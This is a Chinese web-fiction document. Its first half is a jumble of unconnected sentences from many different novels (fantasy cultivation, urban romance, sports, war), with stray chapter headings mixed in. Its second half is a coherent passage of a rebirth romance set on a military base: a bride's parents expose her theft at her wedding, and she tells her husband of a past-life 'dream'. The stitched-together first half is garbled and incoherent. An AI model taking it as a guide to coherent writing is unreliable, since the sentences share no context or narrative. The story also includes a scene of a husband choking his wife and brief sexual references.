但此时此刻,她却根本无暇顾及那些,因为就在龙息停止的下一刻,她发现,那个在龙息到来之前便阻挡在自己面前,无论面对怎样的冲击都不曾后退半步的少年,竟然缓缓的栽倒在了地面之上。 两名白无常抬着软轿,另外两名全力攻打丁斗,但是却拦不住了他,在软轿要越过他朝云迟这边过来时,总会被丁斗腾出手给拦下了。 一拳砸中龙飞的肩膀,只见龙飞的身体被砸得倒退了开去,差一点就跌倒在擂台之下了。 拥有热量的食物,也就是野兽之肉,在做基础任务的时候会有击杀野狼获得肉块,只是单独的生肉恢复效果缓慢,得不偿失,然而商店里的烹饪食物则是价格高昂。 云迟要过去拿回自己的玄莲刀,但是一弯腰,看到那淌着血的四脚兽,她突然就用力地咽了咽口水。 这一点梅常谈十分肯定,这个价值也不过是他自己粗略估计的,毕竟他也没有了解过,更没有买过灵晶。但是他以前见过的那一块灵晶,品质绝对比晋苍陵制的要差许多。 这是新城外的一个荒芜区域,也是原历史之中,全世界最大的异兽空间节点所在处。 陈奇对待这名SSS级天赋者的态度,让其它国家更加恐慌,如果一年的时间到了,这名澳大利亚的SSS级超能力者不愿意回到澳大利亚,而是要继续留在华夏。 “顾振轩,你说我是谁?”电话那端的人则是慢慢的说着,他清冽的声音低沉,不过却是带着一丝阴沉沉的味道,顾振轩听着那个声音顿时身体便紧紧地绷着。 但是这么多店铺的渡劫境,加上缥缈峰的虚神长老,这强者阵容,也可以在灵气复苏之前推平一个宗门了。如果以往发生这类暴动,哪怕这凶兽是虚神境的,也会被城中坐镇的强者联手镇压下来。 第一卷 第43章 梁家下场 可是她打在对方身上时,感觉到自己的力道,被卸掉大部分,无法造成最大破坏。 她这几月坚持健身、练瑜伽,身材越来越好,解锁了好几种高难度体位,相当够劲。 好在最关键的时候,金十三又是爆发出一股强大的能量,化为一层坚不可摧的结界,将漩涡爆发出来的撕扯立强行阻拦在外,没有让那无边的巨浪将王昊吞噬。 扶桑政府,掌握官方权力,在扶桑国内拥有绝对力量,军方、警方、特工能迅速控制局面,最难对付,与陈轩目前没有正面冲突。 但无奈的是,石岩岛主正好是木属性的,克制水属性,所以这个冰晶牢笼迅速被破开。 若非隐隐可见城门之上雕刻着的黑水城三个大字,王昊甚至会以为自己来错了地方。 法则风暴持续的时间并不长,当那风暴之中不在出现法则生命的时候,这一片天地,也终于开始回归正常状态,与此同时,那风暴,似乎也变成了普通的风暴,随后消失不见。 可惜,若是靠着他自己的话,不可能获得这等修炼资源!最起码,短时间之内不可能。 现在不是内斗的时候。这么做,只会让人看笑话,只会让王昊称心如意。 他的视线那是什么视线,深邃,复杂,那一眼让人如陷入黑洞的漩涡,安沐心脏仿佛也停止了跳动一样。 “没有什么该问不该问的,又不是什么见不得人的事情,因为老夫当年便到过黄泉路。当然,我并没有行出多远,否则也不知有没有命活着回来。”老者声音悠远,好像在回忆当年的经历。 “你别吓唬人,我才不信你有毒药呢。”金公子虚张声势的试探道。 “这条件说简单也很简单,但是有一点你也知道,如果有人想要离开蛊族,也不是我能控制的,就比如我,全族人都追捕我,我不还是逃出来了。”司鲁实话实说。 秦若曦觉得自己的年纪张浩大这么多,这样一来,算是姐弟恋也有些过分了点吧,不过秦若曦却没有过多的纠结这件事情而已,既然张浩叫了,她也自然应承了一下。 林克点头说:“这个法律和美国差不多。”在美国某些州,如果土地所有者无故将土地荒废超过一定的年限,其他人只需要缴纳一定的土地税金就可以占有那些土地。 但无论如何都动不了她,这一点倒是令整个大理寺的人,都感到十分的头疼。 张浩既然已经住在了江栖雁的房间,自然不需要换了,也不知道江栖雁这几天睡在哪里,不过这也不是张浩该操心的。 来人是那帅气俊朗的少年,黑夜里他的眼睛亮亮的,像是天上的星辰,身上还带着属于少年独有的清冽和薄汗的气息,可见他折腾下来,到是真的没那么轻松。 说句实话,杨正杰还真不放心冷情去找刘天昊训练,如果说,真的让刘天昊激起了冷情的战斗欲望,那是想停都停不下来,为了安全保障杨正杰还是婉拒了冷情的请缨。 “韩总,你不是在开玩笑吧?”在东海挥金如土的富豪,居然贪图优惠,蔡琪以为听错了。 韩晓武刚发出视频邀请,张枚就接通了。今天的精神状态不错,不但化了个淡妆,甚至坐在阳台上工作。 渡边彻随便选了热门菜单里的串烧拼盘;清野凛选了卷寿司;晃子点了生鱼片拼盘;宫崎美雪是炙烤鳐鱼翅。 ”刚才还只是单纯的猜测,但是现在我可不认为完全是猜测了。“洛枫这回来精神了,因为他似乎是发现了一个重要线索。 这人名叫成是韭,而那老人,则正是前段日子从天牢中脱困的古三通。 东海有一丝丝的无奈,但更多的是开心,毕竟这说明自己的青钢影起码得到了对方的认可。 他被噎的直磨牙时,已抬手一巴掌,狠敲在韩青岚的后背,力气大的能把体格弱的直接拍飞。 二十年前、九年前,这两个重要的时间线,发生了重大事项,不光是对于宫家来说,对傅承景更是如此。 但这也是导火索,白天羽最差也能活命,他手底下的那帮子兄弟可就不一定了。 说不清心里是个什么滋味儿,韩青岚第一次有种莫名吃瘪的荒唐感觉。 当这样的一艘带着海腥气的破船驶入长陵的港口时,即便已是深夜,整座港口还是被惊醒。 此时的柳福儿完全不记得,不论是她或是旁人,在说到自己时都会是阿娘阿娘的称呼。 兄弟俩没想到刘珺是带着礼物来的,先是一愣,随即就是一脸欣喜,赶紧打开看,里面一只澄亮的黑色手表安静的躺在那里,一看就知道不便宜的那种。 齐眉娘三自始至终一言不发,刘大柱没有介绍,她们三个除了尴尬还是尴尬,但这并不妨碍她们暗中观察兄妹四个。 等君沫璃来到紫金大陆之后,夜冷的触角,更是伸遍了整个玄极界。 第一卷 第44章 除了糖糖,没有人真心爱他 贺旭在家里待了两天,就忍不住思念已经回了部队的沈棠。 他去照相馆取了和沈棠拍的照片,又一股脑的买了不少好东西寄回去给沈棠。 贺老爷子看的嘴抽。 万万没想到,他一生风流潇洒,竟有一个这么专情的好大孙! 没出息! 贺老爷子心里骂了句,也不打算去公园打太极了。 已经两个月了,在人世间牡丹都已经谢了,现在荷花都开了,但在这里呢,桃花还在开着呢,这里的桃花的确是与众不同的,高阳公主欣然赴约,她以为等待自己的乃是推心置腹的长谈,或者说,一切已经盖棺论定了。 “其实——”开天鼻祖说道:“每一个纯魄之心的载体到了烟消火灭以后,总是会选拔下一轮的载体,他们的命运都没有你曲折坎坷,但是也没有你一半的精彩。”他说。 御花园内, 阿泰被安禄山抱着,竭力将腰扭过去,佯装伸手去抓安禄山的大手, 实则已握住了后背上的匕首。 “上面,莫非……是来自昆仑?”一个散修筑基高手忍不住道,他也曾听说过昆仑的传说,不过对于昆仑他所知也只是一个名子而己。 在天雷降下之时,任何修士都要靠自己来抵抗,上天决不允许有修士干涉,不然必将降下威力更大的天雷来惩罚助力之人,西罗如果在天罚降下时动手,无疑将被天罚当成渡劫之人的助手。 “你该不会在想,要怎么跟我撒谎吧?”见他低头不语,寒烟尘一下便看穿了他心里的想法,南空浅蓦地一怔,猛地抬起了头,对上的,便是寒烟尘那张熟悉而陌生的面庞。 那几个汉子突然露出了狰狞的面孔,向着张三风这边走了过来,其中一个领头的还拿着一把钢刀。 “这估计是萧阳公主将计就计设下的一个局吧,况且她身边能人众多,又怎么会让她受伤呢,王爷也不必担心了。”冷河因为冷暮的痴迷不悟,他现在对萧阳的态度并不好,即使曾经他认为萧阳是最适合他家王爷的。 “难道是昨晚哥哥在房间里跟司徒发生了什么?”英子暗自思忖着。 新惜带着忆恩来到河边的大树下停了下来。忆恩本来想问新惜怎么停了,可当她一抬头,就看到自己的爹爹和娘亲竟然光溜溜的抱在一起。 雅妃此时劝说道,她可不想见到阿凉倒在战场中,即便是阿凉逃跑,她也不会看不起阿凉的,但是,阿凉难道真的会逃跑么? 让人意外的是,这雪衣和鸣鸿不对付了这么多年,在今日倒是意见统一了,那就是先联手干掉这个剑炉之主,这之后再来解决它们之间的恩怨,要是不这么做的话,天知道,这个剑炉之主最后会做出一些什么事情呢? 他居然真的承认了。如果在叶家长辈面前是作秀,那在苏涵的妈妈面前又是什么?苏涵还真的猜不透这个男人的想法。 管彦喃喃地念道:“太阿……太阿……”管彦猛然坐起,昨夜的事情一下子都清晰地呈现在脑海里。 “不行,在城里杀人,会被元婴老怪镇压,抓去挖暗墨石,永生无出头之日了。”春申坚决地摇头道。 对方如飞旋的陀螺一般,令人眼花缭乱,但断月也并非省油的灯,双爪刚近身,便侧身闪开,但岂防到,对方与断月檫身而过之时,一脚同时蹬中断月,断月顿被踢出几米外。 第一卷 第45章 韩忠国与何秋结婚 晨曦的胆子倒是大,她率先走到了门槛处,玄离霜在后面看着深邃的大门像一只张开了血盆大口的妖怪,好像等着她上钩一样。 留下领悟过来的无袭,呆呆的上了马,或许这样才是最好的吧!想此便没再多想的上了马儿。也就在这个时候,无袭只是在上马的瞬间,冷烨的马儿便带着侍卫驾马而过。 毛毛的体态太引人注意,无法摸消和伪装,也许他们的身份还没有暴露出来,大家心知肚明可也不愿意说。 好奇归好奇,那日将她丢弃在郊外的事情,她可没有这么容易原谅他。 眼下,帝绝尘与妖夜早已纷纷释放出了灵力,抵住了那四面而来的箭。 不能亲自对她说一声谢谢,他怀疑自己都无法咽下最后一口气了。 冬瓜不懂爱这个东西,却是知道,他们的门主是爱了,而且爱得无可救药。 薛傲人微微皱眉“我也不放心师姐独自路。”凌航直接被选择‘性’忽略了。 杀无赦坐直身子,腿搭在马上,马蹄扬起,妖红的身影渐行渐远。 这样的悲壮,甚至是敌人都会表示尊重。不过尊重归尊重,敌人依然还是敌人,尊重归尊重,该大兵压境还是大兵压境。因而,太史昆的尊敬只是在心中抒发一下,面上,仍是那种雷打不动的淡然。 “殿下,你怎么了!”听着这些甜蜜的话语,原本彷徨的心情安定了下来,对这个皇子的坏印象也是渐渐减轻,不再是那样的讨厌。尤其是那句,财富虽可贵,生命价更高,若为爱情故,两者皆可抛!深深震撼着她的心灵。 “我……有事找你,里面的包厢很安静,一点都不吵,陪我喝一杯行吗?”夏琦仰头望着他,洁白的牙齿咬着唇,楚楚可怜。 不止是天赋种子、异能种子可以作为本命种子。进化元种也可以!选择进化元种作为本命种子,效果也能增长50%。 太史昆说,从布政司大楼匆匆赶来的一伙好汉们记,看上去还真像战前会议一样正经。不过,眼前的一幕让众好汉们的动作渐渐放缓。 “我们走,龙皇、老原否则防御,我们其他三人负责攻击。”五大巨头一边朝傀儡人赶过去,玄凌一边对大家进行了分工。 或许是哑娘搂抱的太紧的缘故,李清咳嗽了几声,这种从喉咙深处发出来的声音在黄河的呜咽叹息声中传出老远。 太史昆一步入这间如梦如幻的宫殿中,着实被震撼了一把!不过此时乃性命攸关的时刻,他只得强忍住艺术渲染力带来的注意力分散。 “还是免了,你可是浩明长老的弟子,我们怎么能够让你干那些粗活?再说我们现在哪有时间喝水和吃灵果,谢谢了,你还是抓紧去时间阵法修炼吧。”飘飞和慕容雪客客气气地回绝道。 “我没事的。”破瓜之痛让柳菲菲的身体痛若痉挛,可是她还是动情地搂住了莫天。 打开信纸,黎天第一次看到月依纱写这么多字,除了开头这些,后面还交代了一下她这段时间的生活。 梁师成既没有敢进去听二人的谈话,又不敢就此离开,如果,这位胆大包天的蔡道长没有把事情办好,他还能赶紧去找朱德妃替对方求情。 大本见李卫扛不住,赶紧过来协防,但安德烈·米勒是何许人也? 因为大致目标的锁定,白崇禧已经开始调兵遣将了,如果日军的集结点在广西,那么白崇禧就要打起百分百的精神来应对,身为桂系军团的领军人物,白崇禧容不得这帮日本鬼子在自己的地界上闹事。 单节41分,也让尼克斯拥了相当大的领先优势,只要后面稳住局面,就能拿下这场胜利。 龙夏听到之后,却是一愣,看了看老者,没有多说什么,最后看了一眼这截金色的指骨,转身就走了出去。 时候不早了,楚湘灵站起身,将药箱收拾妥当,和王捷寒暄着走向门口,目光悄悄飘向正一脸警惕的盯着她看的哈士奇。 李卫确实不需要用这个。洛薇、夏翠兰等人根本就不避,现在都怀了下一胎。伊凡卡等人虽没有再生的打算,可别忘了李卫进化什么系统。他现在能够收发随心,哪个不想怀,最后不发射即可。 早在第七战开始之前,就有不少球迷猜测尼克斯如果夺冠,斯蒂芬·杰克逊会不会以替补的身份拿到FMVP,现在奖项揭晓,顿时热议一片。 素衣不可置信的一个又一个的叫出这些人的名字,她不明白,这些人,为什么突然都去支持青衣。 管良恢复了心智,将礼物接在手中后随即说道,巴海看着眼前的这师徒两,嘴角仍旧咧着笑容,意犹未尽的说道。 没有了寒意的限制,萧白离转移就来到面前,附着这盔甲手臂的右手一拳而出,磅礴的力量倾泻下来。冰花菱塔延伸的藤蔓和冰花全部粉碎。 但是,身后传来的分明是人脚踏实地的那种声音和感觉,他不敢回头也不愿回头,完全失去了规则支撑的尊者也和普通人没什么区别,但就在他内心即将决堤的恐惧将要宣泄而出的前一刻,只听到他身后传来了一个声音。 武月被杨动打击的体无完肤,最主要的一点是她的确也没有拿的出手的筹码,只能拿自身作为筹码,还被杨动给嫌弃。 第一卷 第46章 何父何母赶到,大闹婚礼 虽然,在昨天,时鸿飞就让人送来了时鸿英带着钱春云治病,并没有离开东山省的证据时,姚瑞雪已经不相信他了。 “你是说…唉,天下之大,看来只能投奔汉国了。”凌宫扬郁闷忧心,复仇之路,越走越难。 到时其他的秦家人,有私下找过时鸿珍,问她有什么想法之类的。 “好好好,哀家瞧着甚好,苏麻,你看看,咱们科尔沁可是专出美人呢!”太皇太后说这话时,脸上的骄傲看着不像是夸别人,而是夸她自己。 “他们为什么要跟踪我,是我知道什么秘密吗?”吴忧一屁股坐在了一株大榕树下的石凳上,思考着。 因为进入圣域的人,是不会在过多的留意世俗的事情的,不知道为什么,圣域的大人们看起来很忙,不会再过多的和圣域以下的人打交道,只要不惹到她们,不会有什么事。 南疏点进去一看,发现是有人在一个程序员论坛发了一个代码出来。 不过这里又不是分次数收取交易费用的,所以焰不介意多来几次。 而在巴拉克吞下兽魂萨满先知的尸体之前,米修斯伸出戴着灵魂之能手套的双手,微微的在空气中一拉扯,兽魂萨满先知的灵魂就从身体中被拽出,被灵魂之能手套吞吸进去,储存了下来。 米娜还有落奇赶紧回礼,他们虽然在机甲世界已经是说一不二的人物,但是在这个世界,他们才知晓,这是他们老师的教派主教,甚至这整个世界都是属于老师的。 冰冰见状从怀里掏出手帕,在她脸上擦了两下,擦干净之后,冰冰就看到她眼里已经满是泪水。 吴丽丽知道,自己今天如果不撂,这件事没法善了,为了自己的安全着想,她也只能如实交代。 事实上,这道神魂攻击,大半的威力都被他承受了,只是他虽然是残魂,可论本质却比灵涯高了太多,受到的影响,反而没有顾寒大。 众人寻声望去,便见林辞瑾在校长的陪同下,出现在了他们的面前。 张管家忽然慌慌张张的跑回来,额头上还有一道口子,正在哗啦啦的流血。 只是她突然反应过来,如果告诉齐泽她不想处理网上的新闻,说不定他会觉得自己在逞强,然后更加坚定的要帮助自己。 “真的?”男人眼中闪出一丝光亮,激动的抓住姜瑞手臂,就好似溺水之人,抓住了一根救命稻草。 面对一双双震惊的目光,江凡有条不紊的写下一张纸条,拍在朱见深面前。 沈周也没否认,只是伸出一根手指竖在嘴巴上,白雪松这才没有继续追问。 “行了吧,这我可不敢当!”程咬金嘴上虽然这样说,但是他毫不犹豫的伸手端过了那杯果汁,直接仰头喝了一大口。 惠王受伤之事只有妾一人知晓,倘或太后因此事而受到刺激,病情恶化,妾岂不是百口莫辩? 最终,影月掉入了蓝星,而许劫源也掉进了另一个大陆失去了踪影。 “这件事跟你半点关系都没有,你完全没有必要自责。”王曼看着他对他笑着说道。 “谢父皇关心,儿臣没事的。”李燮已经自动变成了一个磨刀石,李啸林此时想要阐述的就是:让暴风雨来的更猛烈一些吧。 数月之前,京中盛传永嘉公主意图效仿武后临朝,不过月余,竟然成真。 李燮看着转过头来盯着自己看的卫一,一时之间竟然不知道说什么才好。卫一虽然说的不清不楚,虽然只是说出了自己的感受。 侠义武犯禁不是开玩笑的,现在外面大把的人缺粮食,大把的人饿肚子。很多手上有点手艺的人都已经开始铤而走险,做一些不法的勾当了。 从房间里出来,桑卿柔的脑子里还在反复想着姜离说的那些话,听起来像谬论,可仔细琢磨一下,又觉得很有道理。 看到时间并不晚,韵雅难得陪着她妈妈我也不去打扰他们。便开车去了工作室,现在工作室东西都还没般去别墅,我也只能到那边先住一晚咯。 听到房外极轻的脚步声舒婉立即就睁开了眼睛,听那脚步声应该是梁九功的,果然没一会儿就从门外传来梁九功的声音。 秦诗被杜风的语气说的一愣,但是她没有生气,只是看了一眼杜风,笑了笑。 这个时候,脑子里全是幻想,幻想着被我强暴的对象就是大明星。韵雅完全吓傻了,以前的我和她羞羞的时候,都是非常绅士几近温柔,根本不是今天这幅模样。 这不是一个容易的事情,特别是金肆的体重是他的四倍,也许更多。 “欸,佳怡姐!”何泽凡正要追上去,却被魏安安一把拉住,何泽凡回头一脸疑惑的看着魏安安,他也不明白为什么魏安安要拦着他。 火先生才不会管他们心中在思量何事,忽然转过头,冲着燕枫说道:”你可认出他两二人是谁”? 喜凤酒店的酒菜是很可口的,盐水鸭皮白而柔嫩、肥而不腻、香鲜味美、具有香、酥、嫩的特点。 他将她的表情收进眼中,敛下眼角,心忽然重重的被人提起,她好像有些怕他? 这跟我从哈纳斯那边听到的一样,不过哈纳斯发现了最先动手的人是教廷的人。 “岚风!”随手一挥,一个鬼道便在手中形成,把大量的烟雾直接吹散,露出了依旧双手交叉挡于胸前,面色却露出丝丝愕然的瑞恩的身影。 第一卷 第47章 名声尽毁 何父早就看透了这个女儿的性子,他一把甩开她的手,怒道:“进什么屋,先把钱还给我,不然我就当着众位领导的面揭发你做的那些事!” 韩忠国脸色阴寒,走上前:“爸妈,今天是我和何秋大婚的日子,你们能来我和何秋也很高兴,有什么事不如先等吃了饭再说,你们千里迢迢的赶来,应该也饿了。” 何父何母确实饿了,但这钱一天拿不回来他们就一天不安心。 这个逆女可是一点也不顾及他们的死活啊,卷走了家里所有的钱财! 他才不信什么吃了饭再说的话。 等这些领导走了,这家里还不是何秋和这个男人说话。 他大儿子才一米六八的身高,又瘦又矮,怎么可能是这个男人的对手? 何父不知道这里谁才是领导,但不妨碍他看到了沈棠。 他眼睛一亮,上前几步哭诉:“棠棠,我可算是找到你们军区了,我们一把屎一把尿的将何秋养大,不指望她能够照顾家里,将来她找个好人家嫁了,我和她妈也就放心了。 可你看看她,她把家里所有的钱都卷走了,整整一千一百三十三块啊,她这是要把我们逼上死路啊! 棠棠,你告诉我领导是谁,我要举报何秋,我要举报她偷窃!” 何父也就这么一说,他只想拿回钱,还是不想何秋坐牢的。 毕竟传出去有个坐牢的女儿,他名声也不好听。 沈棠心里止不住高兴,面上装的柔柔弱弱、犹犹豫豫、不知所措。 最后“下意识”的看向了潭师长夫人许美。 许美:“……” 这时候咋不看你妇联主任小姨了? 何父何母眼睛一亮,何母更是一下子就扑了上去,抱着许美的大腿就跪了下来。 大哭特哭:“领导啊,你得给我做主啊,何秋和这个男人联合起来坑我们家的钱啊,那可是我半辈子的钱啊!你要是我不给我做主,我就……我就撞死在你们部队!” 许美吓的心口一跳,却不敢后退,毕竟这时候局势紧张,她也怕背上一个看不起人的名声。 她直叫潭师长:“霄河霄河,你快来啊!” 她新做的裤子啊! 何秋整个人都快崩溃了,她知道今天过后,她的名声算是全毁了! 韩忠国都可能被她连累。 她带着哭腔,几乎恳求:“爸妈,大哥,先屋说话,别让人看了笑话。” 何母就是不起来,指着她的鼻子骂:“我没你这个女儿,你要我一家子去死的时候,你怎么不想想别让人看了笑话! 我告诉你,你想拿着老娘的钱养男人,过好日子,没门! 这门婚事我不同意,连彩礼都没有,还拿走老娘半辈子的钱,我怎么会有你这么个自私自利的女儿!” “妈!”何秋想让她闭嘴。 可何母来之前还被何父狠狠打了一顿,缘因是她肚子不争气,生了这么个讨债鬼,又骂她连家都看不住,手里的钱全被人拿了走。 何母不恨打她的何父。 她恨这个讨债鬼何秋! 她现在可不管何秋的名声会不会坏,反正她将来又不在这里生活。 她也不想要韩忠国这个女婿,一个小小的营长,在京都里连个面都排不上,能给她弄到什么好处? 反正她今天就是要何秋丢脸,让她受点教训。 别以为嫁人了,就能摆脱娘家! 潭师长连忙走过来扶起他们:“几位同志,我是军区师长,咱们先起来说话,今天毕竟是何秋同志结婚的日子,有矛盾咱们出去解决,你放心,我一定给你们一个交代。” 何父的目的达到了。 他轻咳了声,示意何母起来。 何母也不用扶,一下子就爬了起来,还整理了下衣服。 潭师长嘴角抽了抽,叫了周玲和自己老婆,以及一团的团长一同去了办公室。 底下的人议论纷纷。 “真没想到啊,何秋竟然是这样的人?” “我早说了何秋看着柔弱,心眼子多的是,你们还不信,现在信了吧。” “切,你就知道事后找补,当初是谁说何秋是军人家庭出身来着?” “对呀,当初不是有谣言说,沈棠她们这一批来的有个军人家庭出身的姑娘吗?我也以为是何秋,这看着不像啊?” 有人询问起沈棠:“棠棠,你和何秋不是一起长大的吗?何秋爸妈是做什么的?” 沈棠不好当着众人的面落井下石,就含糊道:“就是工人,不过她爷爷是老革命了。” 旁边的婶子吐了一口瓜子:“谁家爷爷不是老革命了?我爷爷还是牺牲在抗美援朝上的烈士呢,我也没说我们家就是军人家庭了呀。” “这么一说好像也是,谣言果然不可信。” “这韩营长不会是信了这个谣言,才选择了何秋吧?” 话音一落,在场安静了几分。 一个个的都不敢在说这个话题了。 主要是哪个男人能放弃长的漂亮、身材又好、小姨父还是政委的沈棠,选择一个长相清秀连工作都考不上的何秋啊? 男人都好色,在场的婶子可是深有体会。 立马就有人问题沈棠家里是做什么的了。 还有人打听她对象是谁。 这热情的态度,把沈棠吓的找了个上厕所的借口跑了。 屋子里,潭师长看完了何父何爸手里的介绍信,他虽然已经确定何秋应该是拿了家里的钱,但万事没有绝对,只能让人出去等着,自己则让通讯员联系京都那边公安局电话。 过了差不多半个小时,潭师长总算是把事情了解清楚了。 他也是没想到,何秋会做这样的事。 韩忠国这个兵他还是很喜欢的,如果知道何秋是这样的品行,他绝对不会同意这份结婚报告。 军人打结婚报告,是会调查清楚结婚对象才能通过结婚申请。 但这个调查清楚,是指本人有没有作奸犯科,家庭社会情况。 何秋家里是工人,潭师长看着何秋也没什么不妥,也就同意了。 哪里会想到其中还有其他事。 他走出来,对着众人道:“事情我了解过了,首都公安局那边也调查清楚了。 何秋,你爸妈确实因为家里丢了钱报了警,据那边的警员调查,这钱确实是你拿的。” 何母瞬间哭了出来。 自从丢了钱后,她天天被何父打,真的太痛了!太冤了! 何秋低着头,扣着手指,咬着唇不想将钱拿出来。 不是她不想,而是这钱她已经拿不出来了。 第一卷 第48章 贺旭会受伤退伍 韩忠国心里憋着气,面色阴沉的仿佛能滴出水:“师长,是我们的错,我以为这钱是岳父岳母给何秋的嫁妆,她拿着钱给我小孩买了衣服,又买了收音机、缝纫机和自行车,手里的钱已经不够还了。” “什么!”何大头惊的一声。 这可是他爸妈以后要留给他的! 何大头挥着手就要去打何秋,被韩忠国眼疾手快的拦下。 “但这钱,我们一定会还。” 潭师长怜悯的看着韩忠国。 哎,这孩子也太倒霉了。 可惜他也没啥钱能帮他,毕竟自己老婆也是个爱漂亮爱攀比的,前头周玲得了一身衣服,后脚她就花钱去买了。 他也是爱莫能助啊。 何大头冷哼:“行啊,三天,我们就给你三天时间凑钱,我们在京都那边可还有工作,等不了太久,这三天的开销,你们也得负责!” 韩忠国心里恨的要死,甚至开始幻想,当初要是他娶的是沈棠,又怎么会有这么多事? 他真是后悔死了! 要不是怕坏了潭师长印象,他现在就想和何秋离婚! 有了潭师长的保证,何家一家也没在闹,干脆就在韩家住了下来。 韩忠国心里的不爽,也不去看何秋,回了院子开席的时候,更是理都没理前来问事情怎么样的韩父韩母,拽着何秋就进了房。 大门关上,他铁青着脸问:“你当初跟我说,你是军人家庭出身?” 何秋是真害怕了,她咽了咽干燥的嗓子,心虚道:“我爷爷曾经也是军人。” 韩忠国气急讽刺大笑:“好啊,我这算是终日打雁却被鹰啄了眼啊!所以从一开始,你就是在误导我!” 何秋眼泪哗啦啦的掉了下来,她抓住韩忠国的手解释:“我也不想的,可我是真的喜欢你啊!” “够了!”韩忠国眼睛充血,掐住她的脖子,一字一句道:“你瞒的过别人,却瞒不过我,你对我可从来没有喜欢,你只不过是不想沈棠好过罢了,你就是想炫耀你从她手里抢走了人,对吧!” “我没有!” 何秋哭着摇头,她是喜欢韩忠国的。 她上辈子那么惨,这辈子就想找个一心一意只守着她的人,怎么就那么难呢? “等风波过了,咱们离婚。” 何秋一下子就懵了,她死死拉住要走的男人:“我不离婚,我不离婚!” 韩忠国冷眸呵斥:“放手!” 何秋忽然道:“难道你就不想知道你未来的事吗?” 韩忠国冷眼看她:“什么意思?” 何秋凄惨的笑着:“我做了一个梦。” “上辈子的你娶了沈棠,可你却和我出了轨,你曾对我说,沈棠什么也不会,教不好你的孩子,连做饭都不会,你只是碍于她家里的权势娶了她,如果有一天你能重来,一定会娶我的。 所以我才会千方百计的从沈棠手里抢走你,那是因为我真的爱你。 后来沈家倒了,你不好落人口舌,就没和她离婚,我们做了一辈子地下情人,我受了太多委屈,所以我醒过来后,就想与你再续前缘。 韩忠国,我会好好对你的孩子,会让你无后顾之忧。 你上辈子只坐到海市市长的位置,但我能让你更进一步。” 韩忠国看不清楚何秋的为人,难道还能看不清楚自己的为人吗? 他这个人,虽然薄情,但绝对不会出轨。 倒也不是专情,主要是出轨这件事是个把柄,很容易被人抓到。 他野心勃勃,只为往上爬。 就算被权势迷了眼,走歪了路,出了轨,也不可能被何秋这样一点姿色都没有的人吸引。 何秋这话他一个字都不信! 可直到对方说自己最后做了海市市长。 韩忠国忽然就冷静了下来。 “你说我碍于沈家权势娶了沈棠?” 何秋看着他像是有商量余地的样子,赶紧趁热打铁:“是,沈棠爷爷便是那个满门清贵,民国英雄沈长风的后代沈渡舟。 他在京城任职副司令,沈棠爸爸还是军区师长,如果不是因为他们家权势,你根本不会娶沈棠。” 那一瞬间,悔意席卷韩忠国心头! 飞黄腾达的机会就在眼前,竟然因为何秋这个贱人让它从他手里溜走! 韩忠国只感觉铁腥的气味在喉咙里滚动。 何秋看他神色不对劲,连忙找补:“但是后来沈家倒台了,你只是碍于名声娶了沈棠而已。” 韩忠国什么也没说。 他不可能和何秋出轨。 如果沈家倒台,他依旧选择娶沈棠,只有两点。 一他喜欢沈棠。 二沈家的倒台,但留下了很多人脉,值得他冒险。 两点之中,他更倾向第二点,当然他确实对沈棠怀有一点心思。 如果没有何秋搞鬼,相亲后,他一定会娶沈棠的。 韩忠国知道悔恨没有用。 他可以趁着这个机会和何秋离婚,但也绝对不可能再娶沈棠了。 为今之计,还不如将何秋利用起来。 她所谓的梦,韩忠国是不太相信的。 这样预知未来的梦,他需要试验一番才行。 何秋也知道自己这么说,韩忠国肯定不信。 她从身后抱住他,声音急切又带了一丝讨好:“我还在梦里得知一件事,国庆过后,有一场卷席云省的大雨,军队下面有村庄被山体滑坡淹没。 到时候,军队回去抢救。 而贺旭会因此受伤退伍。” — 这顿饭吃的众人心里不上不下的。 何秋到底有没有偷家里的钱? 何父何母穿的那么破烂,到底打哪来的? 总之,这顿饭就只有沈棠干的贼香。 连一桌的婶子们都被带动的吃撑了。 韩忠国和何秋敬酒敬到他们这里,瞧见沈棠一口接一口。 何秋忍不住在心里暗骂:饿死鬼投胎! 大概是因为之前的事,她面色有些苍白,这会儿看起来到显得有些可怜。 “棠棠,我敬你一杯。” “客气了,也祝你新婚快乐。” 沈棠也和众人一样站起身,对之前的事并未提及。 但何秋却自卑的觉得,她这是在嘲讽她。 她想起她爸妈几乎是在她后脚出发找到了她的部队,忍不住质问:“沈棠,你前阵子回了京都,是不是你告诉我爸妈我所在地址的?” 第一卷 第49章 张爱娣退团 沈棠就防着她这么说呢。 她装作疑惑:“何秋,你怎么能这么想我?虽然你抢了我相亲对象,但你邀请我来参加你的酒席,我也看在多年好友的份上同意了,这也算是给足你面子了吧。 你爸妈怎么找来的部队,我怎么知道?他们就在屋子里,你何不去问问他们。 就是因为我好欺负,所以你总是和我过不去? 我有时候也真想问问你,咱们这么多年的朋友了,从没有什么深仇大恨,你恨我恨的怎么那么莫名其妙?” 为什么? 因为两人一起长大。 因为沈棠只有她一个朋友。 从第一次接触开始,何秋就知道沈棠性子懦弱,社恐,胆小,好掌握,好欺骗。 可就是这样一个处处都不如她的人,拥有了她所有羡慕的东西的。 家世背景、亲人爱护、美丽容貌。 不管哪一样只要放在她的身上,她都能活的比沈棠更加好,偏偏她就是什么都没有。 她上辈子从来没有背叛过沈棠,最后却落得一个在破屋子里冷死的代价。 无人知道她临死之前看到电视里,陪伴在韩忠国身边的沈棠笑的那样得体,孩子一个个长的帅气漂亮、有出息时,心里涌出的嫉妒几乎将她淹没。 沈棠样样不如自己,年少时都是她护在她身边,才能让她不被别人欺负。 她明明拥有了那么多,为什么就不能对她搭把手呢? 她那时候想,她们不是约定好了要做一辈子好朋友吗? 是沈棠先背叛她的。 是沈棠先不要她的。 所以,她也不要沈棠了。 她想证明,她就是比沈棠优秀。 她想证明,韩忠国也没有那么爱沈棠。 何秋觉得自己做到了,哪怕手段有点不光明。 可这也恰恰证明了上辈子韩忠国娶沈棠目的不纯! 沈棠,也就那样。 何秋右手猛的一痛,她回过神来对上韩忠国那双阴冷的眸子,不由打了个冷颤。 她眼眶微红,面带委屈的解释:“没有呀,沈棠,我一直当你是朋友,怎么可能恨你呢,我爸妈他们是什么样的人你还不了解吗? 哎,都是没给彩礼惹的祸。” 她话点到为止,并没有多说,就想让在场的人自己瞎猜。 一路过来,她都在解释自己没有偷钱,而是没把彩礼给父母。 她爸妈又是个贪财之人,才会找到部队里来。 当然,这个说法没几个人相信。 一点彩礼怎么可能让人千里迢迢追到海市来。 大家明面不说什么,私下里却早就议论了个遍。 沈棠也是笑笑不说话,表情和大家一样明显是不相信的。 